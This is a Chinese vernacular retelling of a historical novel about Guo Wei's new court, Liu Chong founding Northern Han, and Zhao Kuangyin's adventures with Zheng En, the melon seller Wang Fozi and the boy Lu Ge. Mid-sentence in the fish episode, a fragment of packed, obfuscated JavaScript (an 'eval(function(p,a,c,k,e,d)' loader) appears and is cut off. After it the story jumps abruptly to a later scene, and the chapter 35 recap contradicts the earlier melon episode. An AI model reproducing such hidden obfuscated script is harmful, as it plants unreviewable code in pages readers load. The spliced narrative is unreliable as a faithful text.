王朴抬眼望着郭威,语气沉稳:“现在国家刚开启新的国运,宏图大业一定能长久稳固。陛下您有尧舜那样的贤德,下面又有皋夔那样的贤臣,君臣在朝堂上共同把国家治理好,天下百姓自然会归顺,陛下您没必要有这么多顾虑啊。” 郭威见王朴辞官的心意已经定了,知道再勉强也没用,只好叹了口气:“既然先生你执意要走,朕也不拦着你。只是以后朕要是遇到军国大事,派人去请先生你,你可千万别推辞啊。” 王朴连忙应道:“臣蒙受陛下您的厚爱,怎么敢不遵旨呢?” 郭威于是批准了王朴的请求,传下命令摆下御宴,为他送行,还让文武百官都来作陪。王朴再次谢恩,参加完御宴,就准备动身离开。郭威一直送到宫门口,眼神里满是不舍,却又没别的办法留住他,只好让人赏赐了王朴很多金银绸缎。王朴又磕了个头,谢过恩后,转身出了京城,往故乡的方向去了。正是应了那句:暂且寻求乡野安居乐,暂时放下国家日夜忧。 其实王朴精通天文历法和数学,能预测朝代的兴衰更替。他心里清楚,虽然郭威登上了皇位,国家换了新面貌,但郭威也只是顺应时运建立基业,这天下的气运并不会长久。更何况,真正能安定天下的君主已经快要出现了,到时候自然会有一批开国能臣、治国贤士出来辅佐,平定国家、安定天下。自己不如趁着现在,回到乡野之间,既能保全名声,也能守住名节,所以才坚决要辞官。闲话就先说到这里。 再说郭威见王朴走了,转头问文武百官:“朕刚登上皇位,还有好几处地方还在打仗,没能安定下来。你们都有治理国家的才能,肯定有平定天下的办法,不妨跟朕说说。” 话还没说完,翰林学士窦仪从官员队伍里走出来,躬身奏道:“其他地方的州县,陛下不用太担心,最让人担心的是晋阳的刘崇啊。他看到陛下您做了皇帝,心里肯定不服气,要是他联合契丹,发动军队来侵犯我们,百姓心里一慌乱,那祸患可就大了。依臣的想法,必须派陛下您信任的有名将领,在禅州和百铃关这两个地方,驻扎重兵防守,把重要的通道守住,让刘崇找不到进攻的机会,他又怎么能动摇我们的国家呢?臣的想法就是这样,请陛下您决断。” 郭威听了,连连点头说好,正准备挑选将领去那里驻守,这时站在窦仪旁边的副将李忠上前一步,补充道:“陛下,窦学士说得对。臣之前在边境任职时,听说刘崇早就和契丹有往来了,去年还派人给契丹送了不少金银珠宝,契丹那边也答应要是刘崇有需要,会派兵帮忙。禅州和百铃关要是守不住,契丹的骑兵几天就能打到汴梁来,必须派得力的人去才行啊!” 郭威脸色更凝重了,点了点头说:“李将军说得有道理,这事得好好安排。”这事先放一放,咱们再说说别的。 另一边,晋阳的刘崇,一开始听说郭威起兵,后汉隐帝刘承祐被杀,本来打算率领军队进京城,安定国家。后来又听说太后下了诏书,迎接刘赟做皇帝,他高兴得拍着大腿说:“我侄子做皇帝,我还有什么可求的呢?”于是就打消了起兵的念头。可没过多久,又听说刘赟被废黜后杀了,刘崇气得浑身发抖,拍着桌子骂郭威“乱臣贼子”。他越想越不甘心,最后决定自己称帝,把并、汾、沂、代、岚、宪、隆、蔚、麟、石、沁、辽这十二个州的土地都划到自己名下。 他把判官郑琪和赵华国叫来,商量称帝的事。郑琪皱着眉头说:“主公,咱们现在兵力不足,要是称帝,郭威肯定会派兵来打我们,到时候怎么办啊?” 赵华国却摇摇头:“郑兄不用担心,咱们可以联络契丹。契丹一直想南下,要是咱们跟他们结盟,他们肯定愿意帮咱们。而且现在郭威刚登基,根基还不稳,咱们趁机称帝,招揽那些不满郭威的人,兵力很快就能壮大起来。” 刘崇琢磨了半天,咬着牙说:“郭威杀了我侄子,这个仇我一定要报!就算拼了这条老命,我也要跟他斗到底!”于是他正式称帝,定国号为北汉,任命郑琪和赵华国为同平章事,开始整顿军队、囤积粮草,打算找机会报复郭威。 这个消息传到汴梁后,郭威心里很担忧,心里想:“禅州和百铃关确实是重要的关口,必须派我信任的人去防守才行。不如让我侄子柴荣去,一来让他去迎接皇后(柴荣的姑母,郭威的妻子),二来让他在禅州镇守,威慑敌人,这不挺好的吗?” 主意定了之后,郭威就传下旨意,让柴荣去镇守禅州,顺便迎接皇后进京;又让韩通去镇守百铃关。两人接了旨意,各自带着自己的军队,辞别郭威,出了京城往目的地去。没几天,军队就到了禅州,韩通自己带着人去百铃关了,柴荣则进了禅州的帅府。 帅府里的文武官员都来拜见柴荣,柴荣一一回应后,就退到了自己的私人书房。他想起之前在泌州张家饭店生病时,店主夫妇对自己的照顾,心里很感激,于是取出三百两银子,叫来了一个可靠的差官,嘱咐道:“你把这银子送到泌州的张家饭店,交给店主夫妇,就说我柴荣感谢他们之前的救命之恩。一定要亲手交到他们手里,别出什么差错。”差官连忙答应着去了。 柴荣处理完这事,就去后堂拜见姑母柴娘娘。他跪在地上给柴娘娘请安,然后把一路上的事情细细说了一遍:怎么打胜仗、怎么攻破汴梁、后汉隐帝怎么自杀、姑父郭威怎么登上皇位,还有这次来是专门接姑母进京,一起享受富贵。 柴娘娘听了,笑得眼睛都眯了起来,连忙让人摆上酒席,给柴荣接风。姑侄俩好久没见,聊得很开心,柴娘娘一时高兴,多喝了几杯。当天晚上天气有点凉,柴娘娘喝完酒没注意保暖,受了风寒,第二天就发起了寒热,躺在床上起不来了。 柴荣急得团团转,一边让人去请禅州最好的医生,一边让人写奏折给郭威,说明姑母生病的情况。负责送奏折的差官不敢耽误,骑着快马连夜赶往汴梁,到了午门,把奏折交给了黄门官。黄门官连忙把奏折送进皇宫,郭威看了奏折后,立刻批了一道旨意:“命晋王柴荣留在禅州侍奉皇后,好好调理皇后的病情,等皇后病好了,再一起进京。另外,让柴荣顺便去百铃关监督军队,遇到事情可以自行决断,不用事事请示。钦此。” 旨意传到禅州后,柴荣当着官员的面拜受了旨意,之后就每天亲自给姑母端药喂水,细心照顾。柴娘娘身边的侍女春桃也忙前忙后,一会儿给柴娘娘擦汗,一会儿给柴娘娘盖被子,还时不时跟柴娘娘说些开心的事,让她放宽心。过了几天,柴娘娘的病情渐渐好转,柴荣这才松了口气,抽空去百铃关监督军队,和韩通一起操练士兵。这事就先说到这里。 再说说赵匡胤和郑恩,自从在野鸡林打跑了韩通后,就住在平阳镇的七圣庙里。镇上的百姓都很敬重他们,因为他们经常帮百姓打抱不平,那些欺负人的土豪劣绅,一听到赵匡胤的名字,都吓得躲得远远的,不敢再胡作非为。所以平阳镇这段时间很安定,百姓们日子过得很安稳。 百姓们感激他们,每天都给他们送吃的喝的,早上送早饭,晚上送好酒,一日三餐都少不了鱼肉。赵匡胤和郑恩在镇上住了四个多月,不知不觉就到了夏天,天气越来越热。 这天中午,太阳像个大火球挂在天上,空气里都带着热气,赵匡胤坐在庙里的椅子上,不停地擦着汗,心里烦躁得很,坐也坐不住,站也站不稳。他转头对郑恩说:“三弟,你看这天气热得,汗流得像珠子一样往下掉,咱们总不能这么闷坐着吧?不如出去找个凉快的地方,避避暑气,也能舒服点,你觉得怎么样?” 郑恩趴在桌子上,有气无力地说:“二哥,我昨晚跟镇上的张老幺喝酒,多喝了几杯,现在头还疼着呢,身子也没力气,实在不想出去。外面太阳那么大,出去一趟非得晒黑不可,我还是在屋里坐着吧,你自己去。” 赵匡胤见郑恩不想去,也不勉强,转身往后房牵出自己的马,把马牵到庙门口,翻身上马,出了平阳镇,顺着路随便往前走。一路上,太阳晒得地面发烫,路边的花草都蔫蔫的,一点精神都没有,偶尔有几个行人,也都拿着扇子使劲扇,脸上满是烦躁。路边的树一动不动,连一丝风都没有,热气裹着人,让人喘不过气来。 唐朝的刘长卿曾经写过一首《苦热行》,里面有几句诗正好能形容这时的天气:清风为什么还不来,烈日为什么这么灼热。石头都被晒得干裂,山上的树木都要被烤焦,鱼儿都因为水干了无处可藏,泉水也快要干涸了。 赵匡胤骑着马往前走,忽然看到前面有一片树林,心里一喜:“这不就是之前的野鸡林吗?里面树木多,肯定凉快,正好去歇会儿。”他催马进了树林,找了个树木长得最茂密的地方,下了马,把马拴在一棵树上,然后走到一棵大树下,盘腿坐在地上。树荫把太阳挡得严严实实,偶尔有几缕微风吹过来,赵匡胤觉得舒服多了,他解开衣服扣子,露出胸膛,不知不觉就睡着了,还打起了呼噜,声音像打雷一样。 一直睡到下午,赵匡胤才醒过来。他揉了揉眼睛,坐起身来,觉得口干舌燥,喉咙里像冒火一样。他心里想:“要是能找到点凉水喝,解解渴就好了。”他站起身,把马从树上解下来,翻身上马,继续往前走。他四处看了看,周围连一条小溪、一口水井都没有,心里更烦躁了,喉咙也越来越干。 正在他着急的时候,远远地看到前面有一片柳树林,柳树林下有个汉子蹲在地上,好像在打盹,旁边放着一副筐子,筐子里装着青绿色的东西,看着圆滚滚的。赵匡胤赶紧催马过去,走近了才看清,筐子里装的是西瓜,一个个又大又圆,看着就解渴。 赵匡胤心里高兴极了,暗自想:“太好了,买两个西瓜吃,正好解解渴。”他伸手往怀里摸钱,可摸了半天,什么都没摸到,心里咯噔一下:“哎呀,忘带钱了,这可怎么买瓜啊?”他嘴上这么说,心里却还是很想吃,犹豫了一会儿,想:“算了,我还是叫醒他,跟他商量商量,说不定他愿意赊给我,等我回到平阳镇,再加倍还他钱,应该没问题吧?” 于是他开口喊道:“这位朋友,醒醒,小心你的瓜。”喊了好几声,那汉子才慢慢醒过来。 这个卖瓜的汉子姓王,为人忠厚老实,平时靠卖瓜为生,就算有人欺负他,他也不跟人计较,所以镇上的人都叫他“王佛子”,他也不介意,就这么应了下来。每年夏天,他都会去盛产西瓜的地方买一车西瓜,然后挑到百铃关去卖,因为百铃关人多,能多赚点钱。今天天气太热,他挑着瓜走了半天,累得不行,就找了这片柳树林歇脚,没想到一坐下就睡着了,还做了个梦。 梦里,他看到一条红色胡须的火龙,被困在一个干涸的土坑里,火龙抬起头,不停地对着他点头,看起来很渴的样子。王佛子心里想:“这条龙被困在干坑里,肯定是渴了,我得帮它浇点水。”于是他拿起身边的瓦罐,去旁边的泉眼打了一罐水,走到土坑边,慢慢把水倒了进去。火龙喝了水,立刻有了精神,只见它张牙舞爪地舒展了一下身子,突然发出一声巨响,像打雷一样,然后腾空而起,飞走了。 王佛子被雷声惊醒,一睁眼就看到一个红脸大汉,骑着一匹红马,站在自己面前,心里不由得吃了一惊,暗暗觉得奇怪:“怎么梦里的火龙,跟眼前这个人有点像呢?” 赵匡胤见他醒了,连忙笑着说:“朋友,不好意思打扰你睡觉了。我有个事想跟你商量一下,这天气实在太热了,我渴得不行,想跟你买个西瓜吃,可我出来的时候忘了带钱。要是你愿意赊给我的话,我吃了瓜,回到平阳镇就加倍还你钱,你看行不行?” 王佛子听了赵匡胤的话,又想起刚才的梦,心里琢磨:“梦里的火龙喝了我的水就飞走了,眼前这个人也是红脸,还想赊我的瓜,说不定他是个有大福气的人,以后能有大出息。我就算送他几个瓜,也没什么大不了的,做人嘛,谁还没个需要帮忙的时候?别人还有仗义疏财的呢,我这几个瓜值不了多少钱。” 想明白后,王佛子笑着说:“这位大哥既然想吃,就随便吃,不用这么客气。谁还能天天带着钱啊?这点小事,不用商量,以后要是遇到了,顺便把钱给我就行,遇不到也没关系。” 赵匡胤听了,心里特别高兴,暗暗称赞:“世上还真有这么好的人,跟我素不相识,就愿意赊瓜给我,太难得了。”他连忙跳下马,把马拴在柳树上,走到王佛子身边。< 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王佛子听了,笑着说:“我还以为你吃不下了呢,原来是要给兄弟带啊。既然你有兄弟在,那就多带两个回去,别只带这半个,多不好看啊。”说着,他从筐子里又拿出两个大西瓜,放在赵匡胤面前。 赵匡胤心里很感激,只好把地上的半个瓜也吃了,然后坐在柳树下歇了会儿,觉得浑身凉快。 过了一会儿,赵匡胤问道:“朋友,你这担瓜是要挑到哪里去卖啊?” 王佛子说:“我要挑到百铃关去卖,那里人多,能多赚点钱。” 赵匡胤又问:“百铃关离这里还有多远啊?” 王佛子擦了擦汗说:“远着呢,从这里过去还有六七十里路,得走大半天。” 赵匡胤皱了皱眉:“一担瓜也卖不了多少钱,你还得走这么远的路,多辛苦啊。” 王佛子叹了口气说:“大哥你不知道,往年我都是在平阳镇卖瓜的,可今年不一样了,汴梁换了新皇帝,百铃关又新来了一位韩元帅,带了十万大兵,那里可热闹了。我把瓜挑到那里去卖,比在别的地方能多卖二百多钱,所以再远我也愿意去。” 赵匡胤心里一动,问道:“原来汴梁换了新皇帝,你知道现在的皇帝是谁吗?” 王佛子往左右看了看,压低声音说:“大哥你附耳过来,我跟你说,现在的皇帝是禅州的元帅郭威,他起兵打进汴梁,把后汉的皇帝逼死了,自己做了皇帝,这事你都不知道啊?” 赵匡胤听了,心里暗暗高兴:“我离开家这么久,当初是因为后汉的皇帝贪图美色、昏庸无道,我杀了宫里的乐师,又怕连累我父亲(赵弘殷当时在后汉为官),所以才逃了出来,流落他乡。现在后汉的皇帝死了,郭威做了皇帝,我也能回家看看父亲了。” 王佛子见他不说话,又问道:“大哥,听你的口音,不像是本地人啊,你是来这里做生意的吗?” 赵匡胤摇摇头说:“我是东京(汴梁)人,不是来做生意的,就是出来四处游历,不知不觉就到这里了。” 王佛子说:“光游历也不是办法啊,现在百铃关的韩元帅正在招兵买马,挑选有本事的人,大哥你这么魁梧,不如去投军,说不定能闯出一番事业来,总比在外边流浪强啊。” 赵匡胤笑了笑说:“投军?我可做不了军人。” 王佛子连忙说:“大哥你这话就不对了,你看那后汉高祖刘智远,以前也是当兵养马的,后来不也做了皇帝吗?投军怎么就不好了?” 赵匡胤心里想:“他说得也有道理,我现在无牵无挂,去百铃关投军,说不定真能有个出路。”于是他又问道:“朋友,跟你打听一下,你叫什么名字啊?以后要是遇到了,我好还你瓜钱。” 王佛子大笑起来:“大哥你也太客气了,这几个瓜值不了几个钱,我还能让你还吗?我就是个卖瓜的,没什么正经名字,大家都叫我王佛子。” 赵匡胤说:“既然你这么仗义,那我也告诉你我的名字,以后要是我有出息了,一定报答你送瓜的恩情。我叫赵匡胤,是东京人,之前因为杀了宫里的乐师,才逃出来的。现在朝代换了,我也能光明正大地出来了,这次去百铃关投军,要是能有一官半职,肯定不会忘了你。” 说完,赵匡胤用随身带的手巾把两个西瓜包好,提在手里,然后解开马的缰绳,翻身上马,对王佛子拱了拱手说:“朋友,我先走了,后会有期。”说完,催马往平阳镇的方向去了。 王佛子看着赵匡胤的背影,嘴里不停地称赞:“真是个英雄啊,看他的样子,以后肯定能做大官。”说完,他挑起瓜担,也往百铃关的方向走去。正是:不经过知情的人说,怎么能知道其中的内情。 再说赵匡胤回到平阳镇的七圣庙,下了马,把马牵到后院拴好,然后拿着西瓜走进前院。一进门就看到郑恩,郑恩正光着上身,坐在椅子上,张着大嘴喘气,脸上的汗像下雨一样往下流。 郑恩一看到西瓜,眼睛立刻亮了起来,连忙站起来说:“二哥,你又花钱买西瓜了?快给我吃,热死我了。”他接过西瓜,用手一拍,西瓜就裂成了几块,然后拿起一块,连皮都不怎么吐,几口就吃了下去,不一会儿就把一个西瓜吃完了,嘴里还念叨着:“真甜,真凉快,太爽了!二哥,这瓜多少钱买的?” 赵匡胤笑着说:“这瓜不是买的,是一个卖瓜的朋友送的。”然后他把遇到王佛子的事,从头到尾跟郑恩说了一遍。 郑恩听了,高兴地说:“还有这么好的人?真是难得啊!” 赵匡胤又说:“对了,我还听说郭威做了皇帝,现在百铃关正在招兵,咱们去投军怎么样?说不定还能找到柴大哥(柴荣)呢。” 郑恩挠了挠头,想了想说:“郭威?这个名字我好像在哪里听过。让我想想……哦,对了!我以前听柴大哥说过,他有个姑夫叫郭威,难道就是这个做皇帝的郭威?要是这样的话,柴大哥肯定也在郭威身边,咱们去百铃关,说不定能找到他,这太好了!” 赵匡胤点点头说:“我也是这么想的,咱们明天就出发。” 当天晚上,他们吃了晚饭就早早睡了。第二天一早,天刚亮,赵匡胤就去把镇上的父老乡亲请来,跟他们辞行。张老幺听说他们要走,连忙回家拿了一包干粮,递给赵匡胤说:“赵兄弟,你们路上吃,到了百铃关要好好照顾自己,要是遇到难处,就回平阳镇来,咱们都是朋友。” 其他乡亲也纷纷叮嘱他们路上小心,有的还送了些银子给他们。赵匡胤和郑恩谢过乡亲们,收拾好东西,牵着马,出了平阳镇,往百铃关的方向走去。 这一去,说不定会遇到意想不到的缘分,也可能会惹上麻烦。正是:没想到能遇到好心人的帮助,却又可能因为意外惹上仇怨。 到底赵匡胤和郑恩能不能顺利到达百铃关,又会遇到什么事呢?咱们下回再接着说。 35. 第 35 章 话说赵匡胤前些日子在平阳镇避暑,偶遇一个叫王佛子的老汉。那老汉见他气宇不凡,就送了块刚摘的甜瓜给他解渴,还劝他:“年轻人有膀子力气,不如去投军闯闯,说不定能挣个前程,总比在这镇上混日子强。”这话一下点醒了赵匡胤——他本就揣着点建功立业的心思,又想起许久没见的兄长,心里顿时热乎起来。 回到镇上的庙里,赵匡胤就拉着郑恩商量:“三弟,我想好了,咱们别在这儿耗着了,去百铃关走走。一来能打听打听投军的路子,二来也找找我大哥的消息,你看咋样?”郑恩是个直性子,听赵匡胤这么说,立马拍着大腿应道:“二哥说去哪就去哪!乐子早待腻了,正好出去耍耍!” 俩人当天就收拾行李,还特地把平阳镇的父老们请来道别。镇上的张老爹、李二叔这些人一进门就问:“二位小哥叫我们来,是有啥事儿啊?”赵匡胤拱着手笑道:“各位乡亲,我们兄弟俩要去百铃关访个朋友,得走个几天,特地来跟大伙辞行。”张老爹叹道:“既然是正事,哪能留你们!只是访着朋友了,可得早点回来,我们还盼着听你们讲外头的新鲜事呢!”郑恩在一旁插话说:“你们放心!包在乐子身上,就算二哥不回,乐子也准回来,到时候还吃你们做的酱肘子!” 说罢,郑恩把包裹往马背上一捆,拎起他那根枣木棍子,先把马牵到庙门口。赵匡胤翻身上马,又跟乡亲们拱了拱手,提着佩刀催马往前走。郑恩迈着大步跟在后面,也跟众人挥了挥手,俩人就这么离开了平阳镇。 哪想到这天气热得邪乎——太阳像个烧红的铜盘扣在头顶,地上的土被晒得滚烫,走两步鞋底都快粘在地上。俩人走一会儿就得找棵树歇会儿,渴得嗓子冒烟,好不容易才挪到百铃关。远远望去,这关城的城楼又高又阔,城墙上的木梁雕着花纹,看着就气派。 进了城更有意思:城门边的士兵耷拉着脑袋,见他俩穿着普通,也没过来盘查——想来这百铃关是通商要道,南来北往的人多,士兵们早见怪不怪了。城里头更是热闹:街两边的店铺一间挨一间,布庄的伙计在门口吆喝,点心铺飘出甜香,还有挑着担子卖凉粉的,担子上的铜铃叮当作响。赵匡胤看着这景象,忍不住跟郑恩说:“没想到这百铃关这么热闹,倒有点像东京城的味儿了。” 俩人找了家“王家老店”住下——店小二是个机灵的小伙子,见赵匡胤牵着马,赶紧上前接过缰绳:“客官里边请!楼上有间靠窗的房,风大凉快!”俩人跟着店小二上了楼,把行李放下,先拿面水擦了把脸,又让店小二端了碗绿豆汤解暑。等喝完汤,日头都快到头顶了,店小二又端来两盘炒青菜、一碗红烧肉,俩人狼吞虎咽吃了午饭。 郑恩撂下筷子就喊:“二哥,待在屋里闷得慌,咱们去街上逛逛呗?说不定能找着卖凉糕的!”赵匡胤正有此意,俩人揣上银包,让店小二锁好房门,就往街上走。逛了没半盏茶的功夫,赵匡胤就觉得额头上的汗顺着脖子往下淌,正好瞧见街角有座“清风楼”,就拉着郑恩说:“三弟,天太热了,咱去楼上喝两杯凉酒,歇会儿再走。”郑恩一听有酒,眼睛都亮了:“妙啊!赶紧上去!” 俩人上了楼,挑了个靠窗的位置——风从窗缝里钻进来,带着点楼下小吃摊的香味,总算凉快了点。酒保很快过来招呼:“二位客官,要点啥酒菜?咱这儿有酱牛肉、卤鸡,还有刚酿的米酒,冰镇过的!”郑恩大手一挥:“别废话!把你们这儿最好的酒、最香的菜都端上来!”酒保应了声“好嘞”,转身下楼,没一会儿就提了两壶酒、端了两盘酱牛肉上来。 郑恩一看盘子里就只有牛肉,当时就火了,“啪”地一拍桌子,扯着嗓子骂:“你这驴球入的!乐子让你拿好酒好菜,就给这破牛肉?糊弄谁呢!”酒保吓得赶紧赔笑:“客官您别生气!这都过了晌午了,早上进的鲜鸡、鲜鱼早卖光了,就剩这酱牛肉还新鲜。您要是想吃好菜,明儿一早来,小的准给您备上最肥的鸡、最活的鱼!” 赵匡胤见酒保说话客客气气的,也怕郑恩闹大了惹麻烦,就拉了拉郑恩的胳膊:“三弟,别跟他计较,先喝杯酒解解暑。我去街上看看,说不定能买着新鲜东西下酒。”郑恩听赵匡胤这么说,才哼了一声,拿起酒壶自斟自饮。赵匡胤揣上银包下了楼,刚走没几步,就看见街角围着几个小孩,里头有个穿粗布短褂的小男孩,手里拎着个木桶,木桶里有条活蹦乱跳的鲤鱼,正扯着嗓子喊:“过路的客官,来博鱼喽!赢了鱼就拿走,不要钱!” 赵匡胤停下脚步,心里纳闷:“博鱼?这是啥新鲜玩法?”他仔细打量那小男孩——这孩子约莫十岁光景,天庭饱满,眉毛又细又黑,鼻梁挺直,耳朵上还挂着个小银环,虽穿着旧衣服,却洗得干干净净,说话也透着股机灵劲儿。赵匡胤走过去问:“小家伙,我想买条鲜鱼下酒,你这鱼卖不卖?多给你几个钱,总比在这儿喊来喊去强,再等会儿鱼该不新鲜了。” 那孩子上下打量了赵匡胤一番,笑着说:“客官您怕不是外地来的吧?咱这儿的鱼不兴卖,就兴博!我这叫‘八叉八快’,赌输赢的!我喊的是‘博鱼’的‘博’,不是‘厚薄’的‘薄’!您要是想买鱼,得去前头的鱼摊。” 赵匡胤一听更好奇了:“哦?那你说说,这‘八叉八快’是咋玩的?”孩子把木桶放在地上,从兜里掏出八个铜钱,说:“客官您看,这八个铜钱,我按一个字面、一个背面叠好,您拿过去往地上一丢。要是丢出来八个全是字面,或者八个全是背面,就算‘八快’,您赢了,鱼直接拿走,一分钱不用花;要是丢出来七个字面一个背面,或者七个背面一个字面,就算‘八叉’,您得给我五文钱。要是十次都没丢出‘八快’,您得给我五十文,鱼还是我的。” 赵匡胤听了觉得有意思,又看这孩子机灵,心里生出点好感,就说:“行,那我跟你博一把!”孩子却没立刻递铜钱,反而说:“客官,咱得先说好,您得让我看看您有钱,不然输了不给钱咋办?”赵匡胤忍不住笑了——这孩子倒挺精明,就从怀里掏出银包,打开让他看了看里头的碎银子。孩子见了,才点点头:“客官您是实在人!”说着就把叠好的铜钱递了过去。 赵匡胤接过铜钱,心里也没多想,就往地上一丢。七个铜钱先落地,全是背面(当地人叫“河”),就剩一个铜钱还在地上滚。赵匡胤盯着那铜钱,眼瞅着它要停下来,露出的是字面——他心里一急,下意识喊了声:“河!河!河!”他自己都没料到,这话刚出口,那铜钱“叮”的一声,居然真的翻了个身,变成了背面! 周围围观的小孩们顿时拍手喊:“赢了!赢了!这大叔赢了!”赵匡胤也挺高兴,把银包揣回怀里,伸手就去提木桶里的鱼。可那孩子却急了,一把抓住赵匡胤的衣角,死活不撒手。 赵匡胤回头看着他,笑着说:“小家伙,愿赌服输啊!你扯着我干啥?难不成输不起?要是舍不得这鱼,也行,你在这儿给我磕个头,叫我一声‘爹’,我不仅把鱼还你,再给你点钱当本钱,咋样?” 孩子却皱着眉说:“客官您别逗我!我既然敢在这儿博鱼,就输得起!别说一条鱼,就是十条,我也不会随便给人磕头!人这辈子就一个亲爹,叫别人爹,传出去多丢人!我扯着您,是因为刚才那铜钱明明要变字面,您喊了声‘河’,它就翻过来了——我想知道,您这是啥法子?” 赵匡胤心里暗笑:“我哪有啥法子,不过是碰巧了!”但他不想说实话,就故意装神秘:“我这叫‘喝钱神法’,是梦里有个神仙教我的,可灵了!别说一千两银子,就是一万两,我也不随便传给别人!”孩子一听,眼睛瞪得溜圆,慢慢松开了手。赵匡胤提着鱼,转身就往清风楼走,没留意那孩子悄悄跟在了他身后。 回到楼上,郑恩一见鱼就问:“二哥,这鱼活蹦乱跳的,花了多少银子买的?”赵匡胤把博鱼的事儿说了一遍。郑恩拍着桌子笑:“二哥你可真有本事!刚到百铃关就赢了条鱼,这准是好兆头!快叫酒保拿去煮了,咱哥俩好好喝两杯!” 他正喊酒保,就见那孩子从楼梯口探出头,慢慢走了上来。没等赵匡胤开口,孩子“扑通”一声跪倒在地,磕了个响头,大声说:“爹!孩儿特地来给您赔罪!” 赵匡胤愣了一下,随即笑出声:“你这小家伙,刚才还说不随便给人磕头,咋这会儿又认起爹来了?不害臊吗?”孩子红着脸站起来,小声说:“客官您不知道,刚才在大街上磕头,人多眼杂,我以后还咋博鱼?这楼上就您和这位黑大叔,没人看见。我跟您说实话吧——我就一个娘,没有爹。我们是大名人,前年大名闹饥荒,娘带着我来百铃关投亲戚,可亲戚早就不在这儿了。我们没盘缠回家,只能靠我博鱼过日子——每天花五六分银子买条鱼,博赢了能赚点钱,博输了就只能饿肚子。今天这条鱼输了,我娘今晚又得挨饿了……所以我才跟来,想求您把鱼还我,再教教我那‘喝钱神法’。等我长大了,一定报答您!” 郑恩在旁边听了,笑得眼睛都眯成了缝:“二哥,这娃娃嘴甜又可怜,你就把鱼还他呗!”赵匡胤也觉得这孩子孝顺,就问:“你叫啥名字?今年多大了?”孩子说:“我叫禄哥,今年十岁了。”郑恩插嘴道:“二哥,不如你收他做干儿子!这娃娃多机灵,以后准有出息!” 赵匡胤心里也有这意思,就问禄哥:“禄哥,我想收你做干儿子,你愿意不?”禄哥一听,赶紧又磕了个响头:“愿意!愿意!爹!”他站起来,又给郑恩作了个揖:“三叔好!”郑恩故意板着脸:“你这娃娃,见了你爹就磕头,见了我就作揖,咋不也给我磕一个?”禄哥脸更红了,又作了个揖:“三叔,您别生气,孩儿下次给您带糖吃!”赵匡胤笑着说:“三弟,这孩子有志气,不随便低头,你别逗他了。” 说着,赵匡胤从怀里掏出一锭银子,递给禄哥:“这鱼留下,我跟你三叔下酒。这锭银子你拿回去,给你娘买点吃的,再做点小生意,别再博鱼了。”禄哥接过银子,手都有点抖——这锭银子够他们母子俩过好几个月了。可他还是没忘“喝钱神法”,又求道:“爹,您就把神法传给我吧!我学会了,就能让娘过上好日子了!” 赵匡胤犯了难——他哪有什么神法?可看着禄哥期盼的眼神,又不忍心拒绝,就说:“这神法不用教,你把那八个铜钱给我。”禄哥赶紧掏出铜钱递过去。赵匡胤假装闭着眼念了几句“咒语”,又对着铜钱吹了口气,说:“好了!你拿这铜钱去博鱼,想让它出字面就喊‘字’,想出背面就喊‘河’,保准赢!要是没钱用了,就去王家店找我。”禄哥接过铜钱,千恩万谢地走了。 郑恩看着禄哥的背影,笑着说:“二哥,你这干儿子认的值!既有了鱼下酒,又积了德!快叫酒保煮鱼!”酒保很快把鱼煮好端上来,还撒了点葱花,香味扑鼻。俩人一边吃鱼,一边喝酒,直到天黑才结了账,回王家店歇息。 再说禄哥拿着银子和铜钱,一路小跑回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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禄哥却皱起眉:“娘,不行啊!乾爹是男人,咱家没男人,您跟他见面,别人看见了会说闲话的!”韩素梅脸一沉,喝道:“你这孩子懂啥!他平白给你一锭银子,万一是什么坏人咋办?娘得当面问问清楚,才能安心用这银子。要是他是坏人,咱们得把银子还回去,免得惹祸!”禄哥这才明白,点点头说:“娘,我知道了,明天一早就去请乾爹!” 当晚,韩素梅几乎没合眼——一会儿想起和赵匡胤在一起的日子,一会儿又怕明天见到的不是他,翻来覆去直到天亮。禄哥早起后,先给母亲煮了碗稀粥,又揣了两个馒头,就往王家店走。路上遇到邻居王大娘,王大娘问:“禄儿,这么早去哪啊?”禄哥说:“去请我乾爹来家里!”王大娘叮嘱道:“那你可得小心点,别随便带陌生人回家!”禄哥应了声,加快脚步走了。 到了王家店,禄哥径直上了楼,见赵匡胤和郑恩正坐在桌边喝茶。郑恩一见他,就打趣道:“哟!乐子的大侄子来了!大清早的,是不是你娘想认个乾丈夫,让你请你爹来的?”禄哥脸一红,赶紧说:“三叔别开玩笑!是我娘怕乾爹的银子来路不正,想当面问问清楚,没有别的意思。” 赵匡胤本来有点犹豫——男女授受不亲,去一个陌生妇人家里总觉得不妥。可郑恩在旁边劝:“二哥,去看看呗!万一真是熟人呢?再说,人家也是为了银子的事,咱去说清楚,省得人家担心。”赵匡胤想了想,觉得有道理,就说:“那行,三弟,你跟我一起去。” 俩人换上干净的袍服,拿上折扇,跟着禄哥往外走。郑恩一边走一边跟禄哥开玩笑:“大侄子,你娘长得好看不?要是好看,让你爹把她娶了,你就有亲娘了!”禄哥被说得满脸通红,只顾着在前头带路。 拐了几个弯,就到了禄哥家。禄哥停下脚步,说:“爹、三叔,咱家是草房,有点小,我先进去跟娘说一声,再请你们进来。”赵匡胤点点头:“应该的,你去吧。” 禄哥推开门进去,喊道:“娘,乾爹和三叔来了!”韩素梅赶紧站起来,理了理衣服,心跳得快得像要蹦出来。她走到帘子后面,隔着帘子往外看——只见那个红脸大汉正站在门口,身形、神态,跟她记忆里的赵匡胤一模一样!她再也忍不住,眼泪“唰”地流了下来,顾不上郑恩在旁边,迈着步子走了出去,声音带着哭腔:“赵公子!这些年你去哪了?我好想你啊!今天怎么会在这儿?” 赵匡胤听到“赵公子”这三个字,愣了一下,再一看眼前的妇人——虽然穿着朴素,脸色有点苍白,但眉眼还是那么熟悉,正是他朝思暮想的韩素梅!他心里又惊又喜,快步上前,一把拉住她的手:“素梅!真的是你!我找了你好多年,没想到在这儿见到你了!” 俩人你一言我一语,说起分别后的遭遇,又是哭又是笑。郑恩在旁边看得一头雾水——刚才还说“男女授受不亲”,现在怎么拉着手说起情话了?他越看越生气,一把扯过赵匡胤,嚷道:“二哥!你刚才还跟乐子说啥男女有别,不能随便见面!现在见了这妇人,就忘了自己说的话了?还拉拉扯扯的!你要是想在这儿当乾丈夫,就留在这儿快活,乐子走了!” 